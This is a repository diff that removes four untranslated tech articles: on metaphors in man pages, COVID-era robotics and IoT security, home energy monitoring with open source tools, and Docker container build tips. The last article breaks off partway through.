mode 100644 index 8a9ea9c3b9..0000000000 --- a/sources/tech/20200508 Metaphors in man pages.md +++ /dev/null @@ -1,182 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Metaphors in man pages) -[#]: via: (https://jvns.ca/blog/2020/05/08/metaphors-in-man-pages/) -[#]: author: (Julia Evans https://jvns.ca/) - -Metaphors in man pages -====== - -This morning I was watching a [great talk by Maggie Appleton][1] about metaphors. In the talk, she explains the difference between a “figurative metaphor” and a “cognitive metaphor”, and references this super interesting book called [Metaphors We Live By][2] which I immediately got and started reading. - -Here’s an example from “Metaphors We Live By” of a bunch of metaphors we use for ideas: - - * ideas as **food**: “_raw_ facts”, “_half-baked_ ideas”, “_swallow_ that claim”, “_spoon-feed_ our students”, “_meaty_ part of the paper”, “that idea has been _fermenting_ for years” - * ideas as **people**: “the theory of relativity _gave birth_ to an enormous number of ideas”, “whose _brainchild_ was that”, “those ideas _died off_ in the middle ages”, “cognitive psychology is in its _infancy_“ - * ideas as **products**: “we’ve _generated_ a lot of ideas this week”, “it needs to be _refined_”, “his _intellectual productivity_ has decreased in recent years” - * ideas as **commodities**: “he won’t _buy_ that”, “that’s a _worthless_ idea”, “she has _valuable_ ideas” - * ideas as **resources**: “he _ran out_ of ideas”, “let’s _pool_ our ideas”, “that idea will _go a long way_“ - * ideas as **cutting instruments**: “that’s an _incisive_ idea”, “that _cuts right to the heart_ of the matter”, “he’s _sharp_“ - * ideas as **fashions**: “that idea _went out of style_ years ago”, “marxism is _fashionable_ in western europe”, “berkeley is a center of _avant-garde_ thought”, “semiotics has become quite _chic_“ - - - -There’s a [long list of more English metaphors here][3], including many metaphors from the book. - -I was surprised that there were so many different metaphors for ideas, and that we’re using metaphors like this all the time in normal language. - -### let’s look for metaphors in man pages! - -Okay, let’s get to the point of this blog post, which is just a small fun exploration – there aren’t going to be any Deep Programming Insights here. - -I went through some of the examples of metaphors in Metaphors To Live By and grepped all the man pages on my computer for them. - -### processes as people - -This is one of the richer categories – a lot of different man pages seem to agree that processes are people, or at least alive in some way. - - * Hangup detected on controlling terminal or **death** of controlling process (`man 7 signal`) - * can access the local **agent** through the forwarded connection (`man ssh_config`) - * If the exit of the process causes a process group to become **orphaned** (`man exit`) - * If a parent process terminates, then its **“zombie” children** (if any) (`man wait`) - * … send SIGHUP to the **parent** process of the client (`man tmux`) - * Otherwise, it **“runs” to catch up** or waits (`man mplayer`) - * However, Git does not (and it should not) change tags **behind users back** (`man git-tag`) - * will **listen** forever for a connection (`man nc_openbsd`) - * this monitor scales badly with the number of files being **observed** (`man fswatch`) - * If you try to use the **birth** time of a reference file (`man file`) - * a program **died** due to a fatal signal (`man xargs`) - * protocol version in the TLS **handshake** (`man curl`) - * it will **look for** a debug object at… (`man valgrind`) - - - -### data as food - - * “Apparently some digital cameras get **indigestion** if you feed them a CF card) (`man mkfs`) - * “Send packets using **raw** ethernet frames or IP packets” (`man nmap`) - * “the above example can be thought of as a maximizing repeat that must **swallow** everything it can” (`man pcrepattern`) - * “This will allow you to **feed** newline-delimited name=value pairs to the script on’ (`man CGI`) - - - -### data as objects - - * Kill the tmux server and clients and **destroy** all sessions (`tmux`) - * Each command will produce one **block** of output on standard output. (`man tmux`) - * “HTTPS guarantees that the password will not **travel** in the clear” (`man Net::SSLeay`) - * “way to **pack** more than one certificate into an ASN.1 structure” (`man gpgsm`) - - - -### processes as machines/objects - - * “This is **fragile**, subject to change, and thus should not be relied upon” (`man ps`) - * “This is useful if you have to use **broken** DNS” (`man aria2c`) - * “This provides good safety measures, but **breaks down** when” (`man git-apply`) - * “debugfs is a debugging tool. It has **rough edges**!” (`man debugfs`) - - - -### containers - -There are LOTS of containers: directories, files, strings, caches, queues, buffers, etc. - - * can exploit that to **get out** of the chroot directory (`man chroot`) - * “The file **containing** the RFC 4648 Section 5 base64url encoded 128-bit secret key” - * “Keys must start with a lowercase character and **contain** only hyphens” - * “just specify an **empty** string” (`man valgrind`) - * “the cache is **full** and a new page that isn’t cached becomes visible” (`man zathurarc`) - * “Number of table **overflows**” (`man lnstat`) - * “likely **overflow** the buffer” (`man g++`) - - - -### resources - -There are also lots of kinds of resources: bandwidth, TCP sockets, session IDs, stack space, memory, disk space. - - * This is not recommended and **wastes** bitrate (`man bitrate`) - * corruption or **lost** data if the system crashes (`man btree`) - * you don’t want Wget to **consume** the entire available bandwidth (`man wget`) - * Larger values will be slower and cause x264 to **consume** more memory (`man mplayer`) - * the resulting file can **consume** some disk space (`man socat`) - * attempting to **reuse** SSL session-ID (`man curl`) - * This option controls stack space **reuse** (`man gcc`) - * Keep the TCP socket open between queries and **reuse** it rather than creating a new TCP socket (`man dig`) - * the maximum value will easily **eat up** three extra gigabytes or so of memory (`man valgrind`) - - - -### orientation (up, down, above, below) - - * Send the escape character to the **frontend** (`man qemu-system`) - * Note that TLS 1.3 is only supported by a subset of TLS **backends** (`man curl`) - * This option may be useful if you are **behind** a router (`man mplayer`) - * When a file that exists on the **lower** layer is renamed (`man rename`) - * Several of the socket options should be handled at **lower** levels (`man getsockopt`) - * while still performing such **higher** level functionality (`man nmap`) - * This is the same string passed **back to** the front end (`man sudo_plugin`) - * On Linux, `futimens` is a library function implemented **on top** of the `utimensat` system call (`man futimens`) - - - -### buildings - -Limits as rooms/buildings (which have floors, and ceilings, which you hit) are kind of fun: - - * the kernel places a **floor** of 32 pages on this size limit (`man execve`) - * This specifies a **ceiling** to which the process’s nice value can be raised (`man getrlimit`) - * If this limit is **hit** the search is aborted (`man gcc`) - * these libraries are used as the **foundation** for many of the libraries (`man Glib`) - - - -### money / wealth - - * This is a very **expensive** operation for large projects, so use it with caution (`man git-log`) - * Note that since this operation is very I/O **expensive** (`man git-filter-branch`) - * provides a **rich** interface for scripts to print disk layouts (`man fdisk`) - * The number of times the softirq handler function terminated per second because its **budget** was consumed (`man sar.sysstat`) - * the extra **cost** depends a lot on the application at hand (`man valgrind`) - - - -### more miscellaneous metaphors - -here are some more I found that didn’t fit into any of those categories yet. - - * when a thread is created under glibc, just one **big** lock is used for all thread setup (`man valgrind`) - * will likely **drop** the connection (`man x11vnc`) - * on all **paths** from the load to the function entry (`man gcc`) - * it is a very good idea to **wipe** filesystem signatures, data, etc. before (`man cryptsetup`) - * they will be **embedded** into the document - * the client should automatically **follow** referrals returned - * even if there exist mappings that **cover** the whole address space requested (`man mremap`) - * when a network interface **disappears** (`man systemd-resolve`) - - - -### we’re all using metaphors all the time - -I found a lot more metaphors than I expected, and most of them are just part of how I’d normally talk about a program. Interesting! - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/05/08/metaphors-in-man-pages/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://www.youtube.com/watch?v=K8MF3aDg-bM&feature=youtu.be&t=14991 -[2]: https://www.goodreads.com/book/show/34459.Metaphors_We_Live_By -[3]: https://metaphor.icsi.berkeley.edu/pub/en/index.php/Category:Metaphor diff --git a/sources/tech/20200510 Open source underpins coronavirus IoT and robotics solutions.md b/sources/tech/20200510 Open source underpins coronavirus IoT and robotics solutions.md deleted file mode 100644 index 5ce9ce0a1f..0000000000 --- a/sources/tech/20200510 Open source underpins coronavirus IoT and robotics solutions.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open source underpins coronavirus IoT and robotics solutions) -[#]: via: (https://opensource.com/article/20/5/robotics-covid19) -[#]: author: (Sam Bocetta https://opensource.com/users/sambocetta) - -Open source underpins coronavirus IoT and robotics solutions -====== -From sanitization of equipment and facilities to plotting the spread of -the virus, robots are playing an active role in combating COVID-19. -![Three giant robots and a person][1] - -The tech sector is quietly having a boom during the COVID-19 pandemic. Open source developers are getting involved with many aspects of the fight against the coronavirus, [using Python to visualize its spread][2] and helping to repurpose data acquisition systems to perform contact tracing. - -However, one of the most exciting areas of current research is the use of robotics to contain the spread of the coronavirus. In the last few weeks, robots have been deployed in critical environments—particularly in hospitals and on airplanes—to help staff sterilize surfaces and objects. - -Most of these robots are produced by tech startups, who have seen an opportunity to prove the worth of their proprietary systems. Many of them, however, rely on [open source cloud and IoT tools][3] that have been developed by the open source community. - -In this article, we'll take a look at how robotics are being used to fight the disease, the IoT infrastructure that underpins these systems, and finally, the security and privacy concerns that their increased use is highlighting. - -### Robots and COVID-19 - -Around the world, robots are being deployed to help the fight against COVID-19. The most direct use of robots has been in healthcare facilities, and China has taken the lead when it comes to deploying robots in hospitals. - -For example, a field hospital that recently opened in Wuhan—where the virus originated—is [making extensive use of robots][4] to help healthcare workers care for patients. Some of these robots provide food, drink, and medicine to patients, and others are used to clean parts of the hospital. - -Other companies, such as the Texas startup Xenex Disinfection Services, are using robots and UV light to deactivate viruses, bacteria, and spores on surfaces in airports. Still others, like Dimer UVC Innovations, are focusing on making robots that can [improve aircraft hygiene][5]. - -Not all of the "robots" deployed against the disease are anthropomorphic, though. The same field hospital in Wuhan that is using human-like robots is also making extensive use of less obviously "robotic" IoT devices. - -Patients entering the hospital are screened by networked 5G thermometers to alert staff for anyone showing a high fever, and patients wear smart bracelets and rings equipped with sensors. These are synced with CloudMinds' AI platform, and patients' vital signs, including temperature, heart rate, and blood oxygen levels, can be monitored. - -### Robots and the IoT - -Even when these robots appear to be independent entities, they make [extensive use of the IoT][6]. In other words, although patients may feel that they are being cared for by a robot that can make its own decisions, in reality, these robots are controlled by large, distributed sensing and data processing systems. - -Although many of the robots being deployed are the proprietary property of the tech firms who produce their hardware, their functioning is based on an ecosystem of software that is largely open source. - -This observation is an important one because it overturns one of the primary misconceptions about the [way that AI is used today][7][,][7] whether in a healthcare setting or elsewhere. Most research into robotics today does not seek to embed fully intelligent AI systems into robots themselves but, instead, uses centralized AI systems to control a wide variety of far less "smart" IoT devices. - -This observation, in turn, highlights two key points about the robots currently being developed and used to fight COVID-19. One is that they rely on a software ecosystem—much of it open source—that has been developed in a truly collaborative process involving thousands of engineers. The second is that the networked nature of these robots makes them vulnerable to exploitation. - -### Security and privacy - -This vulnerability to cybersecurity threats has led some analysts to raise questions about the wisdom of widespread deployment of IoT-driven robotics, whether in the healthcare system or anywhere else. Spyware in the IoT [remains a huge problem][8], and some fear that by integrating IoT systems into healthcare, we may be exposing more data—and more sensitive data—to intruders. - -Even where developers are careful to build security into these devices, the sheer number of components they rely on makes DevSecOps processes difficult to implement. Especially in this current time of crisis, many software engineers have been forced to accelerate the release of new components, and this could lead to them being vulnerable. If a company is rushing to bring a healthcare robot onto the market in response to COVID-19, it's unlikely that the open source code that these devices run on will be [properly audited][9]. - -And even if companies are able to maintain the integrity of their DevSecOps processes while still accelerating development, it's far from certain that patients themselves understand the privacy implications of delegating their care to IoT devices. Many lack the open source privacy tools [necessary to keep their data private][10] when browsing the internet, let alone those that should be deployed to protect sensitive healthcare data. - -### The future - -In short, the deployment of robots in the fight against COVID-19 is highlighting long-standing concerns about the integrity, security, and privacy of IoT systems more generally. Professionals in this field have long argued that [IoT audits][11] and [embedded Linux systems][12] should be the standard for IoT development, but in the current crisis, their warnings are likely to be ignored. - -This is worrying because it's likely that IoT systems will be increasingly used in healthcare in the coming decade. So whilst the COVID-19 pandemic will provide a proof of their utility in this sector, it should also not be used as an excuse to roll out poorly secured, poorly audited IoT software in highly sensitive environments. - -Open source isn’t just changing the way we interact with the world, it’s changing the way the world... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/robotics-covid19 - -作者:[Sam Bocetta][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sambocetta -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_robots.png?itok=TOZgajrd (Three giant robots and a person) -[2]: https://opensource.com/article/20/4/python-data-covid-19 -[3]: https://opensource.com/article/18/7/digital-transformation-strategy-think-cloud -[4]: https://www.cnbc.com/2020/03/18/how-china-is-using-robots-and-telemedicine-to-combat-the-coronavirus.html -[5]: https://www.therobotreport.com/company-offers-germ-killing-robot-to-airports-to-address-coronavirus-outbreak/ -[6]: https://www.cloudwards.net/what-is-the-internet-of-things/ -[7]: https://opensource.com/article/17/3/5-big-ways-ai-rapidly-invading-our-lives -[8]: https://blog.eccouncil.org/spyware-in-the-iot-what-does-it-mean-for-your-online-privacy/ -[9]: https://opensource.com/article/17/10/doc-audits -[10]: https://privacyaustralia.net/privacy-tools/ -[11]: https://opensource.com/article/19/11/how-many-iot-devices -[12]: https://opensource.com/article/17/3/embedded-linux-iot-ecosystem diff --git a/sources/tech/20200511 How I track my home-s energy consumption with open source.md b/sources/tech/20200511 How I track my home-s energy consumption with open source.md deleted file mode 100644 index 10dfaa5f8e..0000000000 --- a/sources/tech/20200511 How I track my home-s energy consumption with open source.md +++ /dev/null @@ -1,144 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I track my home's energy consumption with open source) -[#]: via: (https://opensource.com/article/20/5/energy-monitoring) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) - -How I track my home's energy consumption with open source -====== -These open source components help you find ways to save money and -conserve resources. -![lightbulb drawing outline][1] - -An important step towards optimizing energy consumption is knowing your actual consumption. My house was built during the oil crisis in the 1970s, and due to the lack of a natural gas connection, the builders decided to use electricity to do all of the heating (water and home heating). This is not unusual for this area of Germany, and it remains an appropriate solution in countries that depend highly on nuclear power. - -Electricity prices here are quite high (around € 0.28/kWh), so I decided to monitor my home's energy consumption to get a feel for areas where I could save some energy. - -I used to work for a company that sold energy-monitoring systems for industrial customers. While this company mostly used proprietary software, you can set up a similar smart monitoring and logging solution for your home based on open source components. This article will show you how. - -In Germany, the grid operator owns the electricity meter. The grid operator is obliged to provide an interface on its metering device to enable the customer to access the meter reading. Here is the metering device on my home: - -![Actaris ACE3000 electricity meter][2] - -Actaris ACE3000 Type 110 (dry contact located behind the marked cover) - -Generally, almost every metering device has at least a [dry contact][3]—as my electricity meter does—that you can use to log metering. As you can see, my electricity meter has two counters: The upper one is for the day tariff (6am to 10pm), and the lower one is for the night tariff (10pm to 6am). The night tariff is a bit cheaper. Two-tariff meters are usually found only in houses with electric heating. - -### Design - -A reliable energy-monitoring solution for private use should meet the following requirements: - - * Logging of metering impulses (dry contact) - * 24/7 operation - * Energy-saving operation - * Visualization of consumption data - * Long-term recording of consumption data - * Connectivity (e.g., Ethernet, USB, WiFi, etc.) - * Affordability - - - -I choose the Siemens SIMATIC IOT2020 as my hardware platform. This industrial-proven device is based on an Intel Quark x86 CPU, has programmable interrupts, and is compatible with many Arduino shields. - -![Siemens SIMATIC IOT2020][4] - -Siemens SIMATIC IOT2020 - -The Siemens device comes without an SD card and, therefore, without an operating system. Luckily, you can find a current Yocto-based Linux OS image and instructions on how to flash the SD card in the [Siemens forum][5]. - -In addition to the hardware platform, you also need some accessories. The following materials list shows the minimum components you need. Each item includes links to the parts I purchased, so you can get a sense of the project's costs. - -#### Materials list - - * [Siemens SIMATIC IoT2020 unit][6] - * [Siemens I/O Shield for SIMATIC IoT2000 series][7] - * [microSD card][8] (2GB or more) - * [CSL 300Mbit USB-WLAN adapter][9] - * 24V power supply (I used a 2.1A [TDK-Lambda DRB50-24-1][10], which I already owned). You could use a less expensive power supply with less power: the SIMATIC IOT2020 has a maximum current of 1.4A, and the dry contact needs an additional 0.1A (24V / 220Ω). - * 5 terminal blocks ([Weidmueller WDU 2.5mm][11]) - * 2 terminal cross-connecting bridges ([Weidmueller WQV][12]) - * [DIN rail][13] (~300 mm) - * [220Ω / 3W resistor][14] - * Wire - - - -Here is the assembled result: - -![Mounted and hooked up energy logger][15] - -Energy logger mounted and hooked up - -Unfortunately, I didn't have enough space at the rear wall of the cabinet; therefore, the DIN rail with the mounted parts lies on the ground. - -The connections between the meter and the Siemens device look like this: - -![Wiring between meter and energy logger][16] - -### How it works - -A dry contact is a current interface. When the electricity meter triggers, a current of 0.1A starts flowing between **s0+** and **s0-**. On **DI0**, the voltage rises to 24V and triggers an interrupt. When the electricity meter disconnects **s0+** and **s0-**, **DI0** is grounded over the resistor. - -On my device, the contact closes 1,000 times per kWh (this value varies between metering devices). - -To count these peaks reliably, I created [a C program][17] that registers an interrupt service routine on the DI0 input and counts upwards in memory. Once a minute, the values from memory are written to an [SQLite][18] database. - -The overall meter reading is also written to a text file and can be preset with a starting value. This acts as a copy of the overall metering value of the meter in the cabinet. - -![Energy logger architecture][19] - -Energy logger architecture - -The data is visualized using [Node-RED][20], and I can access overviews, like the daily consumption dashboard below, over a web-based GUI. - -![Node-RED based GUI][21] - -Daily overview in the Node-RED GUI - -For the daily overview, I calculate the hourly costs based on the consumption data (the large bar chart). On the top-left of the dashboard you can see the actual power; below that is the daily consumption (energy and costs). The water heater for the shower causes the large peak in the bar chart. - -### A reliable system - -Aside from a lost timestamp during a power failure (the real-time clock in the Siemens device is not backed by a battery by default), everything has been working fine for more than one-and-a-half years. - -If you can set up the whole Linux system completely from the command line, you'll get a reliable and flexible system with the ability to link interrupt service routines to the I/O level. - -Because the I/O Shield runs on standard control voltage (24V), you can extend its functionality with the whole range of standardized industrial components (e.g., relays, sensors, actors, etc.). And, due to its open architecture, this system can be extended easily and applied to other applications, like for monitoring gas or water consumption or as a weather station, a simple controller for tasks, and more. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/energy-monitoring - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/Collaboration%20for%20health%20innovation.png?itok=s4O5EX2w (lightbulb drawing outline) -[2]: https://opensource.com/sites/default/files/uploads/openenergylogger_1_electricity_meter.jpg (Actaris ACE3000 electricity meter) -[3]: https://en.wikipedia.org/wiki/Dry_contact -[4]: https://opensource.com/sites/default/files/uploads/openenergylogger_2_siemens_device.jpg (Siemens SIMATIC IOT2020) -[5]: https://support.industry.siemens.com/tf/ww/en/posts/new-example-image-version-online/189090/?page=0&pageSize=10 -[6]: https://de.rs-online.com/web/p/products/1244037 -[7]: https://de.rs-online.com/web/p/products/1354133 -[8]: https://de.rs-online.com/web/p/micro-sd-karten/7582584/ -[9]: https://www.amazon.de/300Mbit-WLAN-Adapter-Hochleistungs-Antennen-Dual-Band/dp/B00LLIOT34 -[10]: https://de.rs-online.com/web/p/products/8153133 -[11]: https://de.rs-online.com/web/p/din-schienenklemmen-ohne-sicherung/0425190/ -[12]: https://de.rs-online.com/web/p/din-schienenklemmen-zubehor/0202574/ -[13]: https://de.rs-online.com/web/p/din-schienen/2835729/ -[14]: https://de.rs-online.com/web/p/widerstande-durchsteckmontage/2142673/ -[15]: https://opensource.com/sites/default/files/uploads/openenergylogger_3_assembled_device.jpg (Mounted and hooked up energy logger) -[16]: https://opensource.com/sites/default/files/uploads/openenergylogger_4_wiring.png (Wiring between meter and energy logger) -[17]: https://github.com/hANSIc99/OpenEnergyLogger -[18]: https://www.sqlite.org/index.html -[19]: https://opensource.com/sites/default/files/uploads/openenergylogger_5_architecure.png (Energy logger architecture) -[20]: https://nodered.org/ -[21]: https://opensource.com/sites/default/files/uploads/openenergylogger_6_dashboard.png (Node-RED based GUI) diff --git a/sources/tech/20200511 Tips and tricks for optimizing container builds.md b/sources/tech/20200511 Tips and tricks for optimizing container builds.md deleted file mode 100644 index 0a4fbed8cb..0000000000 --- a/sources/tech/20200511 Tips and tricks for optimizing container builds.md +++ /dev/null @@ -1,201 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Tips and tricks for optimizing container builds) -[#]: via: (https://opensource.com/article/20/5/optimize-container-builds) -[#]: author: (Ravi Chandran https://opensource.com/users/ravichandran) - -Tips and tricks for optimizing container builds -====== -Try these techniques to minimize the number and length of your container -build iterations. -![Toolbox drawing of a container][1] - -How many iterations does it take to get a container configuration just right? And how long does each iteration take? Well, if you answered "too many times and too long," then my experiences are similar to yours. On the surface, creating a configuration file seems like a straightforward exercise: implement the same steps in a configuration file that you would perform if you were installing the system by hand. Unfortunately, I've found that it usually doesn't quite work that way, and a few "tricks" are handy for such DevOps exercises. - -In this article, I'll share some techniques I've found that help minimize the number and length of iterations. In addition, I'll outline a few good practices beyond the [standard ones][2]. - -In the [tutorial repository][3] from my previous article about [containerizing build systems][4], I've added a folder called **/tutorial2_docker_tricks** with an example covering some of the tricks that I'll walk through in this post. If you want to follow along and you have Git installed, you can pull it locally with: - - -``` -`$ git clone https://github.com/ravi-chandran/dockerize-tutorial` -``` - -The tutorial has been tested with Docker Desktop Edition, although it should work with any compatible Linux container system (like [Podman][5]). - -### Save time on container image build iterations - -If the Dockerfile involves downloading and installing a 5GB file, each iteration of **docker image build** could take a lot of time even with good network speeds. And forgetting to include one item to be installed can mean rebuilding all the layers after that point. - -One way around that challenge is to use a local HTTP server to avoid downloading large files from the internet multiple times during **docker image build** iterations. To illustrate this by example, say you need to create a container image with Anaconda 3 under Ubuntu 18.04. The Anaconda 3 installer is a ~0.5GB file, so this will be the "large" file for this example. - -Note that you don't want to use the **COPY** instruction, as it creates a new layer. You should also delete the large installer after using it to minimize the container image size. You could use [multi-stage builds][6], but I've found the following approach sufficient and quite effective. - -The basic idea is to use a Python-based HTTP server locally to serve the large file(s) and have the Dockerfile **wget** the large file(s) from this local server. Let's explore the details of how to set this up effectively. As a reminder, you can access the [full example][7]. - -The necessary contents of the folder **tutorial2_docker_tricks/** in this example repository are: - - -``` -tutorial2_docker_tricks/ -├── build_docker_image.sh                   # builds the docker image -├── run_container.sh                        # instantiates a container from the image -├── install_anaconda.dockerfile             # Dockerfile for creating our target docker image -├── .dockerignore                           # used to ignore contents of the installer/ folder from the docker context -├── installer                               # folder with all our large files required for creating the docker image -│   └── Anaconda3-2019.10-Linux-x86_64.sh   # from -└── workdir                                 # example folder used as a volume in the running container -``` - -The key steps of the approach are: - - * Place the large file(s) in the **installer/** folder. In this example, I have the large Anaconda installer file **Anaconda3-2019.10-Linux-x86_64.sh**. You won't find this file if you clone my [Git repository][8] because only you, as the container image creator, need this source file. The end users of the image don't. [Download the installer][9] to follow along with the example. - * Create the **.dockerignore** file and have it ignore the **installer/** folder to avoid Docker copying all the large files into the build context. - * In a terminal, **cd** into the **tutorial2_docker_tricks/** folder and execute the build script as **./build_docker_image.sh**. - * In **build_docker_image.sh**, start the Python HTTP server to serve any files from the **installer/** folder: [code] cd installer -python3 -m http.server --bind 10.0.2.15 8888 & -cd .. -``` -* If you're wondering about the strange internet protocol (IP) address, I'm working with a VirtualBox Linux VM, and **10.0.2.15** shows up as the address of the Ethernet adapter when I run **ifconfig**. This IP seems to be the convention used by VirtualBox. If your setup is different, you'll need to update this IP address to match your environment and then update **build_docker_image.sh** and **install_anaconda.dockerfile**. The server's port number is set to **8888** for this example. Note that the IP and port numbers could be passed in as build arguments, but I've hard-coded them for brevity. -* Since the HTTP server is set to run in the background, stop the server near the end of the script with the **kill -9** command using an [elegant approach][10] I found: [code]`kill -9 `ps -ef | grep http.server | grep 8888 | awk '{print $2}'` -``` - * Note that this same **kill -9** is also used earlier in the script (before starting the HTTP server). In general, when I iterate on any build script that I might deliberately interrupt, this ensures a clean start of the HTTP server each time. - * In the [Dockerfile][11], there is a **RUN wget** instruction that downloads the Anaconda installer from the local HTTP server. It also deletes the installer file and cleans up after the installation. Most importantly, all these actions are performed within the same layer to keep the image size to a minimum: [code] # install Anaconda by downloading the installer via the local http server -ARG ANACONDA -RUN wget --no-proxy -O ~/anaconda.sh \ -    && /bin/bash ~/anaconda.sh -b -p /opt/conda \ -    && rm ~/anaconda.sh \ -    && rm -fr /var/lib/apt/lists/{apt,dpkg,cache,log} /tmp/* /var/tmp/* -``` - * This file runs the wrapper script, **anaconda.sh**, and cleans up large files by removing them with **rm**. - * After the build is complete, you should see an image **anaconda_ubuntu1804:v1**. (You can list the images with **docker image ls**.) - * You can instantiate a container from this image using **./run_container.sh** at the terminal while in the folder **tutorial2_docker_tricks/**. You can verify that Anaconda is installed with: [code] $ ./run_container.sh -$ python --version -Python 3.7.5 -$ conda --version -conda 4.8.0 -$ anaconda --version -anaconda Command line client (version 1.7.2) -``` - * You'll note that **run_container.sh** sets up a volume **workdir**. In this example repository, the folder **workdir/** is empty. This is a convention I use to set up a volume where I can have my Python and other scripts that are independent of the container image. - - - -### Minimize container image size - -Each **RUN** command is equivalent to executing a new shell, and each **RUN** command creates a layer. The naive approach of mimicking installation instructions with separate **RUN** commands may eventually break at one or more interdependent steps. If it happens to work, it will typically result in a larger image. Chaining multiple installation steps in one **RUN** command and including the **autoremove**, **autoclean**, and **rm** commands (as in the example below) is useful to minimize the size of each layer. Some of these steps may not be needed, depending on what's being installed. However, since these steps take an insignificant amount of time, I always throw them in for good measure at the end of **RUN** commands invoking **apt-get**: - - -``` -RUN apt-get update \ -    && DEBIAN_FRONTEND=noninteractive \ -       apt-get -y --quiet --no-install-recommends install \ -       # list of packages being installed go here \ -    && apt-get -y autoremove \ -    && apt-get clean autoclean \ -    && rm -fr /var/lib/apt/lists/{apt,dpkg,cache,log} /tmp/* /var/tmp/* -``` - -Also, ensure that you have a **.dockerignore** file in place to ignore items that don't need to be sent to the Docker build context (such as the Anaconda installer file in the earlier example). - -### Organize the build tool I/O - -For software build systems, the build inputs and outputs—all the scripts that configure and invoke the tools—should be outside the image and the eventually running container. The container itself should remain stateless so that different users will have identical results with it. I covered this extensively in my [previous article][4] but wanted to emphasize it because it's been a useful convention for my work. These inputs and outputs are best accessed by setting up container volumes. - -I've had to use a container image that provides data in the form of source code and large pre-built binaries. As a software developer, I was expected to edit the code in the container. This was problematic, because containers are by default stateless: they don't save data within the container, because they're designed to be disposable. But I worked on it, and at the end of each day, I stopped the container and had to be careful not to remove it, because the state had to be maintained so I could continue work the next day. The disadvantage of this approach was that there would be a divergence of development state had there been more than one person working on the project. The value of having identical build systems across developers is somewhat lost with this approach. - -### Generate output as non-root user - -An important aspect of I/O concerns the ownership of the output files generated when running the tools in the container. By default, since Docker runs as **root**, the output files would be owned by **root**, which is unpleasant. You typically want to work as a non-root user. Changing the ownership after the build output is generated can be done with scripts, but it is an additional and unnecessary step. It's best to set the [**USER**][12] argument in the Dockerfile at the earliest point possible: - - -``` -ARG USERNAME -# other commands... -USER ${USERNAME} -``` - -The **USERNAME** can be passed in as a build argument (**\--build-arg**) when executing the **docker image build**. You can see an example of this in the example [Dockerfile][11] and corresponding [build script][13]. - -Some portions of the tools may also need to be installed as a non-root user. So the sequence of installations in the Dockerfile may need to be different from the way it's done if you are installing manually and directly under Linux. - -### Non-interactive installation - -Interactivity is the opposite of container automation. I've found the - - -``` -`DEBIAN_FRONTEND=noninteractive apt-get -y --quiet --no-install-recommends` -``` - -options for the **apt-get install** instruction (as in the example above) necessary to prevent the installer from opening dialog boxes. Note that these options should be used as part of the **RUN** instruction. The **DEBIAN_FRONTEND=noninteractive** should not be set as an environment variable (**ENV**) in the Dockerfile, as this [FAQ explains][14], as it will be inherited by the containers. - -### Log your build and run output - -Debugging why a build failed is a common task, and logs are a great way to do this. Save a TypeScript of everything that happened during the container image build or container run session using the **tee** utility in a Bash script. In other words, add **|& tee $BASH_SOURCE.log** to the end of the **docker image build** and the **docker image run** commands in your scripts. See the examples in the [image build][13] and [container run][15] scripts. - -What this **tee**-ing technique does is generate a file with the same name as the Bash script but with a **.log** extension appended to it so that you know which script it originated from. Everything you see printed to the terminal when running the script will get logged to this file with a similar name. - -This is especially valuable for users of your container images to report issues to you when something doesn't work. You can ask them to send you the log file to help diagnose the issue. Many tools generate so much output that it easily overwhelms the default size of the terminal's buffer. Relying only on the terminal's buffer capacity to copy-paste error messages may not be sufficient for diagnosing issues because earlier errors may have been lost. - -I've found this to be useful, even in the container image-building scripts, especially when using the Python-based HTTP server discussed above. The server generates so many lines during a download that it typically overwhelms the terminal's buffer. - -### Deal with proxies elegantly - -In my work environment, proxies are required to reach the internet for downloading the resources in **RUN apt-get** and **RUN wget** commands. The proxies are typically inferred from the environment variables **http_proxy** or **https_proxy**. While **ENV** commands can be used to hard-code such proxy settings in the Dockerfile, there are multiple issues with using **ENV** for proxies directly. - -If you are the only one who will ever build the container, then perhaps this will work. But the Dockerfile couldn't be used by someone else at a different location with a different proxy setting. Another issue is that the IT department could change the proxy at some point, resulting in a Dockerfile that won't work any longer. Furthermore, the Dockerfile is a precise document specifying a configuration-controlled system, and every change will be scrutinized by quality assurance. - -One simple approach to avoid hard-coding the proxy is to pass your local proxy setting as a build argument in the **docker image build** command: - - -``` -docker image build \ -    --build-arg MY_PROXY= -``` - -And then, in the Dockerfile, set the environment variables based on the build argument. In the example shown here, you can still set a default proxy value that can be overridden by the build argument above: - - -``` -# set a default proxy -ARG 